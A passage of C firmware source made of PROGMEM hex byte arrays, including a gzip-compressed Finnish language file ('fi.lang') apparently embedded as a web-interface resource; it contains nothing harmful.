0x19, 0x14, 0x9b, 0x5a, 0x97, 0x65, 0x77, 0x1b, 0xd2, 0x4f, 0xad, 0x33, 0xfe, 0xe8, 0x18, 0xe1, 0x8f, 0xa9, 0x9a, 0x04, 0xe7, 0x6d, 0x77, 0x29, 0x19, 0x33, 0x3f, 0x4d, 0x89, 0x8d, 0xc0, 0x31, 0xef, 0x8b, 0x8f, 0xf1, 0xe9, 0x68, 0x52, 0x8a, 0xd7, 0x41, 0xb7, 0x7f, 0x1c, 0x18, 0xc6, 0xe8, 0x8e, 0x47, 0xb1, 0x9a, 0xe1, 0x06, 0xf2, 0x8d, 0xea, 0x88, 0x75, 0x08, 0x0c, 0xf7, 0x97, 0x2f, 0xd4, 0x34, 0x63, 0xf1, 0x8c, 0xee, 0x34, 0xd3, 0x3c, 0x1b, 0x03, 0x7e, 0x34, 0x9d, 0x70, 0xe0, 0x6d, 0x6e, 0x8c, 0x27, 0x8b, 0x1d, 0x97, 0x0e, 0x7f, 0x28, 0x9e, 0xec, 0xfb, 0xe9, 0x22, 0x89, 0xc3, 0xe5, 0x11, 0xd7, 0x48, 0xbf, 0x67, 0xf7, 0xb3, 0x45, 0xd0, 0x1d, 0xa1, 0x3d, 0x75, 0xf9, 0xf0, 0x27, 0xe7, 0x37, 0x68, 0x86, 0xf1, 0x7d, 0xea, 0x81, 0xdc, 0x91, 0x98, 0x8c, 0x92, 0xbf, 0x3a, 0x3c, 0x39, 0xfb, 0xe8, 0x6f, 0xff, 0x06, 0x6a, 0x7f, 0xee, 0x51, 0x33, 0x1f, 0x00, 0x00};\nconst char filang[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb5, 0x3c, 0x14, 0x60, 0x02, 0xff, 0x66, 0x69, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x00, 0xa5, 0x59, 0xdd, 0x6e, 0xdc, 0xb8, 0x15, 0xbe, 0xcf, 0x53, 0x70, 0x73, 0x65, 0x03, 0x33, 0xae, 0x9d, 0x34, 0x40, 0x1b, 0xa0, 0x17, 0xd9, 0x26, 0xe9, 0x3a, 0xce, 0xc6, 0x46, 0xc6, 0x71, 0xba, 0x40, 0x81, 0x01, 0x3d, 0xe2, 0x44, 0x1c, 0x49, 0xa4, 0x20, 0x52, 0xf2, 0x0a, 0x45, 0xef, 0xf2, 0x28, 0x7e, 0x06, 0xbf, 0xc0, 0xbc, 0x58, 0xbf, 0x73, 0x48, 0x6a, 0x34, 0xf2, 0xb8, 0x59, 0xa0, 0x40, 0xb1, 0x1d, 0x53, 0xe4, 0xe1, 0xe1, 0xf9, 0xf9, 0xce, 0x77, 0x4e, 0xfe, 0xfd, 0x4c, 0x88, 0xe7, 0xa5, 0x34, 0xdf, 0x9e, 0xbf, 0x16, 0xcf, 0xd7, 0xfa, 0xf9, 0x8c, 0xfe, 0xbe, 0x93, 0x8d, 0xd1, 0x61, 0xe9, 0xe6, 0xcd, 0xe7, 0xcb, 0xf3, 0xeb, 0x2f, 0x8b, 0xf0, 0x21, 0xd3, 0x6e, 0x55, 0x4a, 0x5d, 0xa9, 0x86, 0xbe, 0x5d, 0x6f, 0xef, 0xab, 0xed, 0xbd, 0xc0, 0x82, 0x57, 0xc2, 0x1a, 0xe1, 0x65, 0x53, 0x58, 0xfc, 0xf6, 0xbe, 0x15, 0x9d, 0xc2, 0x6f, 0x2c, 0xb5, 0x4d, 0x27, 0xcb, 0x52, 0xbb, 0xb6, 0x75, 0x5e, 0x39, 0xaf, 0x15, 0xd6, 0x54, 0xa1, 0x2a, 0xed, 0x94, 0x32, 0x33, 0xa1, 0x74, 0x01, 0x09, 0x71, 0x73, 0xd5, 0x36, 0x5e, 0xb6, 0xbe, 0x0d, 0x1f, 0x7f, 0x12, 0xd3, 0x3b, 0xe7, 0xb7, 0xad, 0xf7, 0xd6, 0xd0, 0xd5, 0x97, 0x25, 0x04, 0x95, 0x6d, 0xa1, 0x4c, 0xeb, 0xc5, 0x46, 0x0a, 0x48, 0xe9, 0xfd, 0xf6, 0xde, 0x04, 0x65, 0xbc, 0x97, 0xc2, 0xea, 0x42, 0x69, 0x13, 0x44, 0x34, 0xaa, 0xb4, 0x32, 0xa3, 0x73, 0x1f, 0xa5, 0x97, 0x52, 0x7c, 0x69, 0x33, 0x55, 0x96, 0xb8, 0x23, 0x7c, 0x76, 0x2b, 0xc9, 0x42, 0x17, 0x85, 0x34, 0x46, 0xca, 0xb8, 0xe8, 0x74, 0xe6, 0x78, 0x75, 0x71, 0xfe, 0xf6, 0xb5, 0x0f, 0x8b, 0x12, 0x92, 0x57, 0x05, 0x2f, 0xff, 0xd2, 0x6f, 0x1f, 0x0a, 0xba, 0xb6, 0x70, 0x2a, 0x7e, 0xc5, 0x0f, 0x0f, 0xb3, 0xf1, 0xe7, 0x37, 0xf8, 0xa3, 0xdd, 0x7d, 0xd2, 0x66, 0x6d, 0x69, 0xf9, 0x9c, 0xfe, 0x7f, 0x58, 0x59, 0xba, 0x3a, 0xdc, 0x7c, 0xfe, 0xe9, 0xfd, 0xe5, 0xeb, 0xf8, 0x5e, 0x98, 0x8b, 0x96, 0x2e, 0xa4, 0x2e, 0x8a, 0xe8, 0x8f, 0x55, 0x0e, 0xc5, 0x54, 0x5c, 0x36, 0xb2, 0x93, 0x51, 0x6a, 0xa6, 0x3a, 0xbd, 0x52, 0x7c, 0xdf, 0x35, 0x8e, 0x29, 0x6c, 0xf2, 0xb0, 0xc7, 0x47, 0xd8, 0xc0, 0xab, 0x9d, 0x56, 0xa5, 0x5a, 0xf9, 0x65, 0x14, 0x7b, 0x23, 0x4b, 0xed, 0x9d, 0x12, 0x63, 0xf1, 0x99, 0xda, 0xdf, 0x73, 0x65, 0xb5, 0x83, 0x05, 0xe1, 0x38, 0x0d, 0x7b, 0xf8, 0x64, 0xc3, 0xca, 0x76, 0x6a, 0xb2, 0x65, 0x2c, 0x05, 0x7f, 0x7b, 0x6d, 0xcd, 0x92, 0xac, 0xb9, 0xf4, 0xf0, 0x57, 0x34, 0x43, 0x45, 0x3e, 0x77, 0x6c, 0xda, 0xd6, 0x61, 0x7f, 0xb4, 0xaf, 0x51, 0x77, 0xb4, 0xe1, 0x4b, 0xeb, 0xd2, 0x79, 0xd9, 0xa9, 0xd1, 0x4b, 0xe2, 0x36, 0x99, 0x05, 0xbf, 0x69, 0xb7, 0xbd, 0xdf, 0xde, 0x0f, 0x6b, 0xcb, 0xa0, 0xb1, 0xe2, 0x8f, 0x17, 0xa5, 0xb5, 0xf0, 0x9b, 0xe0, 0xb7, 0xe1, 0xfd, 0x37, 0x14, 0x4e, 0x51, 0x6d, 0xe8, 0xdc, 0xdc, 0x35, 0x88, 0x09, 0xde, 0xa8, 0x9b, 0x0d, 0x02, 0x54, 0x8a, 0x9a, 0x84, 0xe1, 0x9a, 0xb0, 0x87, 0x94, 0x5d, 0x6a, 0xe3, 0x15, 0xc5, 0x2a, 0x6b, 0x0d, 0x2d, 0x3b, 0x6c, 0x88, 0x9a, 0x99, 0xb6, 0xba, 0x0d, 0x11, 0xff, 0xa9, 0x45, 0x18, 0x46, 0x07, 0x22, 0xda, 0xbf, 0x29, 0xcf, 0xc6, 0xbf, 0xb0, 0xf9, 0xc8, 0xde, 0xf4, 0xfe, 0xe4, 0xef, 0xb9, 0xf8, 0x24, 0x6b, 0x87, 0xa0, 0x96, 0x22, 0x46, 0x17, 0x45, 0xab, 0xcd, 0xac, 0x97, 0x33, 0x51, 0xb4, 0x70, 0x98, 0x13, 0x4e, 0x1b, 0x04, 0xbc, 0x11, 0x1f, 0xdf, 0xbd, 0x9d, 0x43, 0x01, 0x2b, 0x9c, 0xac, 0xaa, 0xb6, 0x15, 0x47, 0x5e, 0x6a, 0xe4, 0x04, 0x62, 0x1e, 0x7f, 0x74, 0x3a, 0x6f, 0xd4, 0xf6, 0xbe, 0x70, 0xfa, 0x98, 0x24, 0x98, 0x24, 0xd5, 0x91, 0xab, 0x71, 0x96, 0xe3, 0x7a, 0xa1, 0xbb, 0x76, 0x17, 0xdc, 0x27, 0xe2, 0x5f, 0x66, 0x2e, 0xbe, 0xaa, 0xdb, 0x39, 0x67, 0x87, 0xdf, 0x3e, 0x94, 0x1a, 0xbb, 0x7b, 0xca, 0x59, 0xa5, 0x85, 0x2d, 0x55, 0x48, 0x1b, 0x44, 0xed, 0xf6, 0xbe, 0xd3, 0x0e, 0x16, 0x16, 0x72, 0xdf, 0x5f, 0x05, 0xe9, 0x45, 0x3e, 0x33, 0xac, 0x37, 0x34, 0x6d, 0x0d, 0x65, 0x7a, 0x9f, 0x23, 0x2b, 0xe3, 0x41, 0x9c, 0x6a, 0xd3, 0x95, 0x9c, 0x7e, 0x30, 0x45, 0xc8, 0x5f, 0xba, 0x1e, 0x89, 0x2a, 0xf2, 0x9e, 0x36, 0x75, 0x31, 0xf2, 0x3a, 0xa9, 0x21, 0x00, 0x0f, 0x11, 0x85, 0xcd, 0x33, 0x45, 0xdb, 0x46, 0x19, 0x37, 0xb2, 0x1c, 0xe0, 0x05, 0xf2, 0x05, 0xe5, 0xdf, 0xbc, 0x6c, 0x71, 0x19, 0x65, 0x71, 0x52, 0x99, 0x1c, 0x68, 0xc4, 0xcf, 0x4a, 0xae, 0x2c, 0x6e, 0x81, 0x6e, 0x57, 0x8d, 0xbd, 0xa5, 0xab, 0x62, 0x56, 0x3a, 0xcf, 0x57, 0x36, 0x3e, 0xd9, 0xe1, 0x83, 0x2d, 0x70, 0x31, 0x54, 0x24, 0x79, 0xa2, 0xb3, 0x64, 0x80, 0x52, 0x0a, 0x05, 0xa0, 0x8b, 0xc2, 0x5e, 0xbe, 0x10, 0xf0, 0x2e, 0xe2, 0x79, 0x7b, 0x1f, 0x8e, 0x6c, 0xbf, 0x97, 0xf4, 0x38, 0x03, 0x35, 0x71, 0x6f, 0x09, 0x33, 0xc0, 0xe0, 0x29, 0x3c, 0xd9, 0x7d, 0x64, 0x44, 0x0f, 0x1f, 0x59, 0x32, 0x17, 0x22, 0x8f, 0x75, 0xf5, 0x70, 0x2b, 0x2c, 0xa7, 0x65, 0x90, 0xb2, 0x48, 0x46, 0x8b, 0x3e, 0x23, 0x74, 0xea, 0xe4, 0xd8, 0x63, 0x83, 0xf9, 0x66, 0x62, 0x63, 0x5d, 0x90, 0x59, 0x70, 0x4c, 0x3f, 0x21, 0x74, 0x0c, 0x46, 0x23, 0x83, 0xdd, 0x20, 0xb6, 0xf1, 0x04, 0xc3, 0x7e, 0x81, 0xe6, 0x3d, 0xa2, 0xb2, 0xcf, 0xc8, 0x83, 0x25, 0xbe, 0x78, 0xa9, 0x9c, 0x93, 0x30, 0x7b, 0x3e, 0x42, 0xae, 0xe8, 0xa5, 0x41, 0x47, 0x76, 0x12, 0xeb, 0xc7, 0xce, 0x11, 0x99, 0x82, 0xc6, 0xf9, 0x7c, 0x74, 0x64, 0x6a, 0xd7, 0xe1, 0xa8, 0x4f, 0x08, 0xc4, 0xc7, 0xd9, 0xca, 0x4f, 0xbb, 0x07, 0x2f, 0x99, 0xc8, 0xb9, 0xda, 0xde, 0xeb, 0x4e, 0x93, 0xf4, 0x5a, 0x16, 0x04, 0xa4, 0x14, 0x85, 0x5a, 0x37, 0x00, 0x7c, 0x5b, 0xab, 0xd6, 0x25, 0xf3, 0x79, 0x59, 0x49, 0x72, 0xdc, 0x41, 0x03, 0xee, 0x8c, 0x93, 0xb0, 0x78, 0x64, 0x9e, 0x0f, 0xd6, 0x17, 0x08, 0x3d, 0x99, 0x90, 0x59, 0x28, 0x3a, 0xd5, 0xc7, 0x20, 0xf6, 0x3b, 0x29, 0xa4, 0xa0, 0x41, 0x4e, 0x7a, 0x8e, 0xa2, 0x93, 0x13, 0x52, 0xef, 0x46, 0x36, 0x15, 0x41, 0x1e, 0x4a, 0x16, 0x1d, 0xe0, 0xbc, 0xb4, 0x2c, 0xc5, 0x02, 0x8e, 0x47, 0x8f, 0x6f, 0x67, 0x1c, 0x2a, 0x45, 0x54, 0x33, 0x85, 0x0b, 0xa9, 0x5f, 0xc3, 0x7b, 0x49, 0x3f, 0x86, 0xff, 0xfd, 0x72, 0xfa, 0x81, 0x7c, 0x0f, 0x64, 0xa0, 0x17, 0x7a, 0xf2, 0x85, 0x6e, 0x72, 0x25, 0x74, 0x49, 0x1e, 0x55, 0x33, 0xa4, 0x16, 0xbd, 0xd7, 0xed, 0xbd, 0x97, 0x4b, 0x9f, 0xf4, 0xce, 0xa6, 0xc4, 0x83, 0xcd, 0x64, 0xb3, 0x91, 0xb5, 0x6d, 0xf0, 0x7a, 0x2a, 0x90, 0x7a, 0x23, 0x09, 0xa8, 0x7d, 0x5b, 0x2a, 0x24, 0x9e, 0xa3, 0x93, 0x51, 0x32, 0xde, 0x69, 0xb1, 0xb5, 0x0d, 0x50, 0xcf, 0x8e, 0x18, 0x80, 0xbc, 0xf1, 0x4b, 0xe7, 0x6d, 0xcd, 0xd8, 0xb6, 0xfd, 0xfe, 0xdb, 0xa7, 0x4f, 0xe7, 0x8b, 0xeb, 0xed, 0x77, 0xf1, 0x27, 0x71, 0xf5, 0xdb, 0x02, 0x7f, 0xe3, 0xf7, 0x68, 0xeb, 0x64, 0x57, 0xfa, 0x12, 0x8e, 0x4f, 0x0e, 0xdc, 0xe9, 0xb5, 0x5e, 0xda, 0xf5, 0x9a, 0x3e, 0x7d, 0xd5, 0xef, 0xb5, 0xa0, 0x42, 0x92, 0x0a, 0xcc, 0xad, 0xb5, 0x51, 0x58, 0xb4, 0xff, 0x18, 0x5a, 0xd2, 0x26, 0x2a, 0xa9, 0x84, 0xc4, 0x94, 0xbd, 0xb1, 0x46, 0x28, 0x23, 0x6f, 0x4b, 0xb5, 0x6c, 0xa4, 0xc9, 0x6c, 0xc5, 0x25, 0x5b, 0x52, 0xba, 0x84, 0x74, 0xf7, 0xba, 0x9c, 0xe2, 0x3d, 0xcc, 0xfe, 0xc3, 0x03, 0x50, 0x2b, 0x9e, 0xf2, 0xa9, 0xec, 0x84, 0xed, 0x4b, 0x54, 0xcb, 0x15, 0x53, 0x10, 0x42, 0xdf, 0x78, 0x0e, 0xaf, 0xd5, 0x15, 0x80, 0xc4, 0x8a, 0x04, 0xb5, 0xdb, 0x07, 0x72, 0x85, 0xcc, 0x24, 0x62, 0x04, 0x39, 0x37, 0x6c, 0x8c, 0x00, 0x34, 0x00, 0x1a, 0xdd, 0xa7, 0x7c, 0x5f, 0x12, 0xd2, 0x14, 0x08, 0x11, 0x09, 0x3f, 0xe1, 0x52, 0xa5, 0x79, 0xe5, 0x08, 0x67, 0xab, 0x13, 0x71, 0x36, 0x3f, 0x7b, 0xc5, 0xc7, 0x36, 0xf2, 0xf8, 0x24, 0xd5, 0x6c, 0x4a, 0xcc, 0x41, 0x99, 0x45, 0x5b, 0x16, 0x4a, 0x09, 0x32, 0xe9, 0x3c, 0x84, 0x82, 0x26, 0x47, 0x0f, 0x08, 0x00, 0x61, 0x39, 0x07, 0x6e, 0x45, 0x76, 0x20, 0xa0, 0x07, 0x10, 0x19, 0xaf, 0xc1, 0xd7, 0xe8, 0xbf, 0x2a, 0x67, 0x1a, 0x13, 0xd3, 0xbf, 0xd5, 0xb9, 0x8e, 0x67, 0x5d, 0x4d, 0x38, 0xaf, 0x91, 0x88, 0x1c, 0x6b, 0x80, 0x0f, 0x59, 0x48, 0x17, 0x6f, 0xa0, 0x55, 0x04, 0x74, 0xa4, 0x81, 0x44, 0xe0, 0x64, 0x9e, 0x59, 0x62, 0x7b, 0x1c, 0x52, 0x1a, 0x78, 0x56, 0x58, 0x54, 0x12, 0x51, 0x59, 0x64, 0x46, 0x0a, 0x51, 0xe4, 0x9d, 0xe6, 0x7c, 0x8b, 0x9c, 0x4d, 0xfc, 0xe5, 0xf4, 0xc5, 0xc9, 0xd9, 0xd9, 0xdd, 0xfc, 0xc5, 0xe9, 0xe9, 0x5f, 0xc5, 0x1c, 0x67, 0x4d, 0x26, 0x9b, 0x4c, 0x4b, 0x42, 0x43, 0x1c, 0x76, 0xad, 0xdd, 0x20, 0xf0, 0x7d, 0xa8, 0x06, 0x53, 0x80, 0xc7, 0x76, 0x49, 0x4a, 0x88, 0xb9, 0xb8, 0x79, 0xaa, 0xc0, 0x5c, 0xb4, 0x26, 0x55, 0x1f, 0x64, 0xb9, 0x53, 0xc4, 0x00, 0xa8, 0xa4, 0x75, 0xe1, 0x0e, 0x8f, 0x4b, 0xd8, 0x7f, 0x94, 0xc8, 0xaa, 0xd1, 0xf1, 0x1b, 0x65, 0x6f, 0x64, 0x96, 0x29, 0x18, 0x77, 0x97, 0xcf, 0x04, 0x2e, 0x62, 0x78, 0xea, 0x7b, 0x41, 0x00, 0x05, 0x45, 0xb4, 0x30, 0xc0, 0x30, 0xb2, 0x76, 0x10, 0x40, 0x89, 0x46, 0x24, 0x82, 0xed, 0x1d, 0xab, 0x27, 0x97, 0x9c, 0x50, 0x7b, 0x07, 0x63, 0x51, 0x85, 0x97, 0xb1, 0xa4, 0x32, 0x6e, 0xef, 0xd2, 0x9b, 0x88, 0x71, 0x61, 0x47, 0x31, 0x15, 0xbd, 0x7f, 0xcb, 0xc0, 0x3a, 0x78, 0x3f, 0xe2, 0x6c, 0x00, 0x4e, 0xb5, 0x99, 0x14, 0x49, 0xa0, 0x9d, 0x4e, 0x75, 0xbd, 0x82, 0x6d, 0x2c, 0x6c, 0x16, 0x28, 0xf6, 0x89, 0xf8, 0x38, 0x8d, 0x8b, 0x8d, 0xf4, 0x45, 0xdb, 0xf1, 0x6b, 0x6e, 0xa7, 0x52, 0xdb, 0x12, 0x08, 0x65, 0x82, 0x32, 0xa4, 0xa7, 0xd3, 0x94, 0x1c, 0x09, 0x11, 0xb9, 0x6c, 0x95, 0xad, 0xa5, 0x92, 0x05, 0xb6, 0xaf, 0x65, 0x88, 0xc6, 0xf0, 0x84, 0x0d, 0x21, 0x5f, 0xa8, 0x4f, 0x54, 0x2c, 0x3d, 0x9b, 0x16, 0x9b, 0x51, 0x58, 0x6d, 0xa5, 0x43, 0xb9, 0x18, 0xb6, 0xb2, 0xdf, 0x24, 0x8a, 0x15, 0x2f, 0xfb, 0xc8, 0x8b, 0x6b, 0xaa, 0x20, 0xc3, 0x93, 0xdf, 0x50, 0x24, 0x16, 0xf0, 0x7d, 0x0c, 0x2b, 0xf2, 0xe9, 0x10, 0xe4, 0x21, 0xbc, 0xac, 0x02, 0x06, 0x16, 0x3d, 0x98, 0x62, 0x5f, 0xf7, 0xf0, 0xe1, 0xf6, 0x01, 0x8b, 0xbd, 0xeb, 0x89, 0x45, 0x71, 0xb1, 0xb5, 0x40, 0x40, 0x41, 0x79, 0x39, 0x74, 0x2c, 0xf8, 0x9b, 0x85, 0x90, 0x29, 0xa0, 0xf0, 0x45, 0x8c, 0xd0, 0x83, 0xb1, 0x97, 0xc3, 0x68, 0x80, 0x66, 0x36, 0x05, 0x0b, 0x0c, 0xef, 0x75, 0xaa, 0x05, 0x50, 0x78, 0x69, 0xf3, 0x8d, 0x2a, 0xe9, 0x69, 0xb8, 0x7b, 0x64, 0xdf, 0xbd, 0xe4, 0xa7, 0x27, 0x56, 0x74, 0xbe, 0xe1, 0xa6, 0xa5, 0xdf, 0xc4, 0x5e, 0x28, 0xda, 0xeb, 0xd2, 0x08, 0x05, 0x0c, 0xf2, 0x16, 0x31, 0x05, 0xb3, 0x17, 0xdb, 0x07, 0x8e, 0x90, 0x64, 0xf0, 0x20, 0x75, 0xa4, 0x15, 0x45, 0x7e, 0x41, 0xc1, 0x44, 0x16, 0xf4, 0x3a, 0x48, 0xb2, 0x4e, 0x9f, 0xec, 0x95, 0xc4, 0x25, 0xd6, 0x9d, 0x0e, 0x6d, 0xd4, 0x0d, 0xff, 0x84, 0x40, 0x86, 0x99, 0xee, 0xc5, 0xc9, 0xe9, 0x2e, 0x9f, 0xb9, 0x4e, 0x3a, 0x62, 0x4a, 0x19, 0x99, 0x99, 0x89, 0xa8, 0x0c, 0x79, 0xcd, 0x46, 0xca, 0x14, 0x84, 0x23, 0x66, 0x9d, 0x9c, 0xc8, 0x27, 0x1e, 0x17, 0x85, 0x8f, 0x82, 0x77, 0xe0, 0x9e, 0x26, 0x45, 0x67, 0xbf, 0x0b, 0x4d, 0x19, 0x69, 0xd9, 0x11, 0xf1, 0x9f, 0x80, 0x0b, 0x0f, 0xc4, 0x47, 0x8f, 0x49, 0x1d, 0x14, 0x41, 0x94, 0xd0, 0x6f, 0x3e, 0x87, 0x0e, 0xce, 0x23, 0x2c, 0xf1, 0x3f, 0x7f, 0x47, 0x06, 0x3f, 0x13, 0xc0, 0x0a, 0xf1, 0xf2, 0x4c, 0xa0, 0x41, 0x6a, 0x24, 0xda, 0x81, 0xc6, 0x4d, 0x74, 0xa9, 0x11, 0x46, 0x77, 0xb6, 0x61, 0x7d, 0xae, 0xe2, 0x6f, 0x61, 0xd7, 0x42, 0xae, 0xd0, 0x37, 0x39, 0x82, 0x79, 0xc3, 0x90, 0x90, 0x89, 0xb5, 0x6d, 0x84, 0xc7, 0x55, 0x77, 0xea, 0x56, 0x70, 0x2f, 0xb0, 0x96, 0x2b, 0x25, 0x8e, 0xf4, 0x5a, 0x84, 0xf2, 0x92, 0x91, 0x2e, 0x37, 0xa1, 0x51, 0x35, 0x28, 0xd9, 0x46, 0xd4, 0x68, 0x36, 0xb8, 0x9c, 0x5a, 0xe2, 0x81, 0xcc, 0x7a, 0xce, 0x00, 0x43, 0x50, 0x67, 0xa0, 0x91, 0xfb, 0xca, 0x8c, 0xda, 0x38, 0xd0, 0x62, 0x32, 0x2e, 0x47, 0x0c, 0xa3, 0x45, 0x40, 0xa2, 0x49, 0xe6, 0x0e, 0xd8, 0xc3, 0x0e, 0x57, 0x64, 0x91, 0x89, 0xc8, 0x5c, 0x67, 0xd0, 0x80, 0x5f, 0xa7, 0x75, 0x69, 0xd9, 0x43, 0x5f, 0xf5, 0xfc, 0xfd, 0xf9, 0xc8, 0xb4, 0x87, 0x24, 0xdf, 0x1d, 0xea, 0x0a, 0xb8, 0x03, 0x60, 0x17, 0x38, 0xee, 0xe7, 0xf7, 0x1c, 0x31, 0x79, 0x8a, 0xac, 0x29, 0xc0, 0xae, 0xc0, 0x33, 0x42, 0xcb, 0x74, 0x19, 0xc2, 0x6e, 0x5c, 0xfd, 0x34, 0xb8, 0x0c, 0x90, 0x97, 0xb8, 0x88, 0xa4, 0x56, 0x72, 0xa7, 0x12, 0xc0, 0xed, 0x0f, 0xde, 0x83, 0x32, 0x65, 0x53, 0x63, 0xf8, 0xeb, 0xae, 0xba, 0xc8, 0x11, 0x29, 0x86, 0x75, 0xcc, 0x6c, 0xc7, 0x7f, 0xe0, 0x1b, 0xad, 0x62, 0xb1, 0x22, 0x1b, 0x53, 0x77, 0x44, 0x52, 0x2a, 0x09, 0xbe, 0xcc, 0xf5, 0x37, 0x72, 0x35, 0x6e, 0x6e, 0x9e, 0xb8, 0x6e, 0x68, 0x5f, 0x9f, 0x3c, 0xc8, 0x5d, 0x11, 0xc3, 0xbb, 0xa8, 0x34, 0x29, 0xa5, 0xd0, 0x0e, 0x00, 0x86, 0xcc, 0x34, 0x1b, 0x90, 0x21, 0x75, 0x29, 0xfb, 0x47, 0x0f, 0x38, 0x90, 0x17, 0x26, 0xd8, 0x41, 0xb3, 0x79, 0x42, 0x4a, 0x5e, 0x52, 0x53, 0x18, 0x21, 0xf7, 0xe1, 0xf8, 0xb0, 0xe8, 0x6b, 0x28, 0x6b, 0x5b, 0x9f, 0x1a, 0x57, 0xc1, 0xaa, 0x18, 0x45, 0x99, 0x49, 0xae, 0x37, 0x58, 0x02, 0xb0, 0x10, 0x3f, 0x30, 0x09, 0xbd, 0x1f, 0x62, 0x8f, 0x19, 0x9a, 0x18, 0x78, 0x21, 0xd6, 0x24, 0x59, 0x78, 0x0d, 0x16, 0x0e, 0x1a, 0x94, 0xe0, 0xba, 0xb6, 0x41, 0xdd, 0xa8, 0x5b, 0x78, 0x37, 0x00, 0xbc, 0x20, 0x32, 0xb9, 0x73, 0x9d, 0x8f, 0x80, 0x91, 0xd8, 0x39, 0x5b, 0xa8, 0xe9, 0xd0, 0xc3, 0x88, 0xd3, 0x29, 0x3c, 0xa0, 0xc4, 0x86, 0x98, 0xd9, 0xb3, 0x07, 0xf3, 0x56, 0x32, 0x06, 0x2c, 0x81, 0xcb, 0xb8, 0xa6, 0x2f, 0x5a, 0xa0, 0x17, 0x80, 0x12, 0x4c, 0xcf, 0x24, 0xd4, 0x73, 0xdc, 0x23, 0x40, 0x5f, 0xd6, 0x4c, 0xa5, 0xc0, 0x0e, 0x3a, 0x1c, 0xbc, 0xea, 0xdd, 0x2a, 0xb7, 0x8f, 0xae, 0x23, 0x6a, 0xc1, 0x4e, 0x05, 0x49, 0xab, 0x51, 0xf0, 0x88, 0x14, 0xd3, 0x7c, 0x8a, 0x8a, 0xb7, 0x6e, 0x23, 0x8d, 0x46, 0xad, 0xf2, 0x78, 0xc2, 0x44, 0x2a, 0x72, 0xe7, 0x70, 0xc4, 0x1f, 0x4c, 0xaa, 0x03, 0xa7, 0x17, 0xb5, 0x5e, 0xaf, 0xdd, 0x61, 0x19, 0x8b, 0xab, 0xf3, 0xf7, 0xef, 0x17, 0x73, 0x90, 0xc2, 0x0c, 0x75, 0xda, 0xb2, 0x3a, 0x05, 0x47, 0x04, 0x49, 0x4f, 0xcb, 0xb4, 0x30, 0x91, 0x5b, 0x86, 0x59, 0xc8, 0x63, 0x89, 0x47, 0x9f, 0xff, 0xf1, 0xf3, 0x31, 0x0f, 0x17, 0x50, 0x69, 0x4d, 0xea, 0x01, 0x26, 0xa7, 0x2b, 0xf9, 0xfb, 0x2a, 0x0f, 0x46, 0xfa, 0xfd, 0x24, 0xf0, 0x17, 0xb2, 0x11, 0xbb, 0x92, 0x47, 0x01, 0x89, 0x66, 0x7d, 0x59, 0x88, 0xbf, 0x89, 0xb3, 0xb3, 0x99, 0x78, 0xf7, 0x85, 0x7e, 0xbc, 0x9c, 0x89, 0x0f, 0xb2, 0x96, 0x46, 0xd3, 0x1f, 0x7f, 0x7e, 0x24, 0x74, 0xf5, 0xe6, 0x8a, 0x85, 0xbe, 0xf9, 0xfb, 0xdc, 0x3a, 0x1a, 0x0d, 0x1e, 0xc2, 0xa2, 0x01, 0x16, 0x88, 0x79, 0x53, 0x39, 0xc1, 0x35, 0xbf, 0xb4, 0x94, 0x77, 0xc9, 0xe7, 0xbb, 0xf3, 0x28, 0x6c, 0x4d, 0x97, 0xaa, 0x90, 0xa3, 0xa1, 0x10, 0x3b, 0x71, 0xd8, 0xe0, 0xb9, 0xb0, 0x53, 0x50, 0xef, 0x49, 0x9d, 0xa0, 0xcc, 0x63, 0x3d, 0x17, 0xfe, 0xc7, 0x7a, 0x4e, 0x75, 0xbc, 0xa0, 0xc6, 0xeb, 0xff, 0x51, 0x91, 0x05, 0xfe, 0x6f, 0xd5, 0x56, 0xf9, 0x00, 0x45, 0x9c, 0xda, 0x71, 0x86, 0x14, 0xd8, 0x6d, 0xf0, 0x12, 0xb5, 0x9d, 0xb1, 0x55, 0xee, 0xab, 0xc0, 0x53, 0x99, 0x83, 0xe0, 0x1b, 0x95, 0xed, 0x7d, 0x70, 0x12, 0x47, 0xac, 0x16, 0x97, 0x59, 0x3e, 0x6e, 0x44, 0x6e, 0xd1, 0x98, 0x9a, 0x6f, 0x3f, 0x00, 0x62, 0x84, 0xce, 0x5b, 0x6e, 0x39, 0x38, 0x6e, 0x6f, 0x50, 0xff, 0x75, 0x55, 0xd1, 0xd3, 0x02, 0x7f, 0x39, 0xdc, 0x51, 0x50, 0x8f, 0xff, 0x78, 0x92, 0xc4, 0xb6, 0x85, 0x71, 0x87, 0x79, 0x17, 0x9a, 0x1e, 0x1a, 0xfb, 0xa2, 0x9f, 0x08, 0x7d, 0xd7, 0xd3, 0x09, 0x1d, 0x46, 0x1e, 0x7e, 0x07, 0x78, 0x44, 0xed, 0x93, 0x06, 0x24, 0x5d, 0x1c, 0xed, 0xde, 0x7a, 0x3c, 0xa6, 0x46, 0x75, 0x8f, 0x47, 0xe5, 0xc4, 0xd6, 0xc7, 0xc5, 0x00, 0x09, 0x4f, 0x9e, 0xa4, 0x61, 0x2d, 0x61, 0x16, 0x35, 0xcc, 0x2d, 0x24, 0x9e, 0x32, 0x7e, 0x05, 0xe8, 0x23, 0xa6, 0xcc, 0xd6, 0x7e, 0x52, 0x29, 0x30, 0x87, 0x95, 0xaa, 0xa1, 0x57, 0x9a, 0x06, 0xb6, 0xda, 0x84, 0xa6, 0x87, 0x68, 0x3d, 0xa8, 0x5d, 0xe0, 0x8b, 0xcc, 0xa3, 0xf5, 0xb8, 0x15, 0x8b, 0x1c, 0x7c, 0x50, 0x20, 0x12, 0x3a, 0xc2, 0x4d, 0x0a, 0xa2, 0x42, 0x01, 0xa3, 0xa9, 0xe4, 0x84, 0xb1, 0x50, 0x2e, 0xcb, 0x16, 0x0d, 0x0a, 0xf0, 0xaa, 0x0b, 0x4c, 0xac, 0x96, 0x8d, 0xaa, 0x88, 0x3a, 0xc5, 0x81, 0x09, 0xcf, 0x49, 0xb8, 0xfd, 0x40, 0x2c, 0x00, 0xfe, 0x55, 0x68, 0xf4, 0x40, 0x36, 0x09, 0x41, 0xf9, 0x9e, 0x90, 0x56, 0xc3, 0x45, 0x81, 0xe1, 0x39, 0x32, 0x06, 0xad, 0xaa, 0x3c, 0x8b, 0xe3, 0x7c, 0x1a, 0xe1, 0x41, 0xa1, 0x1c, 0xac, 0x5a, 0xf2, 0x15, 0x34, 0x8a, 0x24, 0x2e, 0xda, 0x01, 0xfb, 0x79, 0x85, 0xc5, 0x01, 0x2c, 